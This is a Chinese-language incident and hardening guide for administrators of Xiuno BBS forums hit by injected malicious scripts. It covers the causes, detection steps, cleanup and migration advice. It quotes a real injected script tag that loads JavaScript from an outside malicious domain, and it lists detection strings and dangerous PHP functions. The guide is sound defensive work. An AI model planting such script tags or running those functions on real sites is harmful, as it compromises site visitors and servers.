Xiuno BBS 被挂马问题

官方停更6年，你的Xiuno论坛可能正在裸奔！这份指南教你彻底清除木马并加固防线

一、真实案例：你的论坛也可能中招

就在2026年3月，一位站长在备份站点时发现自己的Xiuno论坛被挂了木马。攻击者在网站的后台说明项中藏入了恶意脚本：

html

<script src="https://ribi123.com/scriptl.js"></script> 

更可怕的是，这位站长无法确定漏洞来自哪里------是Xiuno本身的漏洞，还是某个第三方插件的问题？最终他只能选择关闭论坛。

这绝不是个例。多个站长都报告过类似遭遇。问题的根源在于：Xiuno BBS官方已于2020年停止维护，核心开发者退场，此后6年间暴露的安全漏洞无人修复。

二、为什么Xiuno这么容易被挂马？

2.1 官方停更，漏洞无人修复

Xiuno BBS 的最后稳定版本是4.0.4/4.0.7，发布于2020年前后。此后：

• 官方仓库关闭，文档删除

• 核心开发者（老黄/axiuno）退网

• 已知的XSS漏洞、SQL注入风险无人修复

2.2 版本碎片化，安全补丁不统一

从4.0.4之后，Xiuno分裂成了多个"民间分支"：

结果就是：同样的安全漏洞，可能只在某些分支被修复，其他分支仍然暴露。

2.3 插件生态混乱，成攻击重灾区

Xiuno最大的安全隐患来自第三方插件：

• 插件来源分散（无官方审核机制）

• 许多插件存在XSS漏洞

• 不同编辑器插件（UMEditor、TinyMCE 5/6、Markdown）导致兼容性灾难

• 有站长反映，某些插件在输出帖子列表时，甚至连用户的密码和salt字段都会一并输出，虽经过加密但仍存在风险

2.4 已知的安全漏洞

三、应急响应：如何发现你的论坛被挂马？

3.1 典型症状

你的Xiuno论坛可能已被挂马的迹象：

3.2 检查步骤（立即执行）

第一步：查看首页源代码

用浏览器打开你的论坛首页 → 右键 → 查看页面源代码 → Ctrl+F 搜索以下内容：

• script src=

• eval(

• base64_decode

• ribi123.com（已知恶意域名）

• document.write

重点关注 底部、head区域 以及 站点名称/站点描述 的输出位置。

第二步：检查后台设置项

登录后台 → 设置 → 基本设置，仔细查看：

• 站点名称

• 站点描述

• SEO关键词

• 底部信息

恶意脚本常被藏在这些输入框中。

第三步：检查插件列表

• 登录后台 → 插件，查看是否有未知的、未启用的插件

• 检查最近30天内新增的插件

• 记录下所有插件的来源（是否来自可信作者）

第四步：检查服务器文件

通过FTP/宝塔文件管理器，检查以下敏感目录：

text

/upload/          # 上传目录，黑客可能上传webshell /plugin/          # 插件目录 /tmp/             # 临时目录 /view/            # 模板目录（检查header.htm、footer.htm） /conf/            # 配置文件 

重点关注最近30天内被修改过的文件。

第五步：检查数据库

进入phpMyAdmin或宝塔数据库管理，执行SQL查看用户表：

sql

SELECT * FROM bbs_user WHERE groupid=1 ORDER BY uid DESC LIMIT 10; 

检查是否有未知的管理员账号。

四、清理方案：彻底清除木马

4.1 紧急止损（5分钟内）

4.2 清理恶意代码

方法一：手动清理

1. 登录后台 → 设置 → 基本设置，检查并清空站点名称、站点描述中的异常代码

2. 通过FTP/宝塔文件管理器，检查并清理以下文件：

   • conf/conf.php - 检查是否有异常配置

   • view/htm/header.htm - 头部模板

   • view/htm/footer.htm - 底部模板

   • 根目录的 index.php

3. 搜索所有 .php 文件中是否包含 eval(、base64_decode、system( 等危险函数

方法二：使用D盾扫描

下载 D盾（D-Security）进行整站扫描，它可以检测出Webshell和一句话木马。

方法三：直接恢复备份

如果确认备份是干净的：

1. 删除当前网站目录所有文件

2. 恢复干净的备份

3. 但必须修复漏洞，否则很快会再次被黑

4.3 清理搜索引擎中的恶意记录

清理完网站后，还需要清理搜索引擎中的"脏数据"：

1. 百度搜索资源平台 → 死链提交 → 将被黑客生成的垃圾页面URL提交删除

2. Google Search Console → 提交重新审核申请

3. 更新站点地图，重新提交

五、防患于未然：Xiuno安全加固清单

5.1 基础安全设置（必须做）

5.2 使用更安全的版本

建议：至少升级到支持PHP8的分支（如五牧版），PHP 7.4以下版本已停止安全更新。

5.3 服务器安全加固（宝塔用户）

安装Nginx免费防火墙：

宝塔面板 → 软件商店 → 搜索"Nginx免费防火墙" → 安装并开启

配置防火墙规则：

• 开启CC攻击防御

• 开启Post攻击防御

• 开启SQL注入防御

• 开启XSS攻击防御

其他设置：

• 禁用危险PHP函数：exec, system, shell_exec, passthru

• 关闭目录列表权限

• 定期更新服务器软件

5.4 插件安全管控

5.5 安装安全插件

Domi_Secure_User：防止在帖子列表中输出用户密码和salt等敏感信息。

这个插件通过hook机制在输出用户数据前自动过滤敏感字段，是Xiuno为数不多的主动安全防御手段。

六、终极建议：迁移到更安全的平台

如果你没有专业技术团队维护，不建议继续使用Xiuno BBS。

6.1 为什么不推荐继续用Xiuno？

有站长已经反馈：“建议别再使用Xiunu，可能用一些国外成熟的论坛系统会更安全一些。”

6.2 推荐替代方案

特别推荐：如果你还在犹豫，Discourse是目前替代Xiuno的最佳选择------它仍在高频更新，官方团队积极修复安全漏洞，且自带AI功能。

七、总结：Xiuno用户的行动指南

一句话总结：Xiuno BBS已经是一艘正在沉没的船。如果你还在用它，尽快执行安全加固并规划迁移；如果你的论坛已经被挂马，按本指南清理后，强烈建议迁移到仍在维护的论坛系统。